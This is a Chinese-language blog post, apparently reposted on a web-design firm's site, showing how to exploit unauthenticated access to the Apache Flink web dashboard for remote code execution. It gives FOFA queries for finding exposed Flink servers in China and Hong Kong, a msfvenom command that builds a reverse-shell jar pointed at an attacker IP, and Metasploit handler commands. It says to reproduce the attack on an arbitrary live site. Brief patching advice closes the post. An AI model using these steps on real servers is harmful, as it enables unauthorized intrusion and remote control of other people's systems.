重庆分公司
重庆分公司，新征程启航
为企业提供网站建设、域名注册、服务器等服务
ApacheFlink未授权访问+远程代码执行的示例分析
这篇文章给大家分享的是有关Apache Flink未授权访问+远程代码执行的示例分析的内容。小编觉得挺实用的，因此分享给大家做个参考，一起跟随小编过来看看吧。
创新互联专业为企业提供襄城网站建设、襄城做网站、襄城网站设计、襄城网站制作等企业网站建设、网页设计与制作、襄城企业网站模板建站服务，十年襄城做网站经验，不只是建网站，更提供有价值的思路和整体网络服务。
Apache Flink 未授权访问+远程代码执行
FOFA
FOFA 语句
app="Apache-Flink" && country="CN"
app="Apache-Flink" && country="CN" && region="HK"
国内还是很多使用 Apache Flink 的，大概有1K+的数量左右
漏洞复现
1、这里随便搞个站打开进行复现，打开以后就长这样子。
点击Submit New Job翻译：文件上传 2、打开MSF 生成一个 jar 木马
msfvenom -p java/meterpreter/reverse_tcp LHOST=**.***.59.61 LPORT=4444 -f jar > testone.jar
3、点击 Add 上传 jar 文件
4、设置监听端口
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload java/shell/reverse_tcp
payload => java/shell/reverse_tcp
msf5 exploit(multi/handler) > set lhost XX.XXX.XX.61
lhost => XX.XXX.XX.61
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run
5、点击下 submit
6、反弹shell成功
修复建议
建议用户关注Apache Flink官网，及时获取该漏洞最新补丁。临时解决建议 设置IP白名单只允许信任的IP访问控制台并添加访问认证。
感谢各位的阅读！关于“Apache Flink未授权访问+远程代码执行的示例分析”这篇文章就分享到这里了，希望以上内容可以对大家有一定的帮助，让大家可以学到更多知识，如果觉得文章不错，可以把它分享出去让更多的人看到吧！
网站标题：ApacheFlink未授权访问+远程代码执行的示例分析
文章出自：http://cqcxhl.cn/article/jpdjcp.html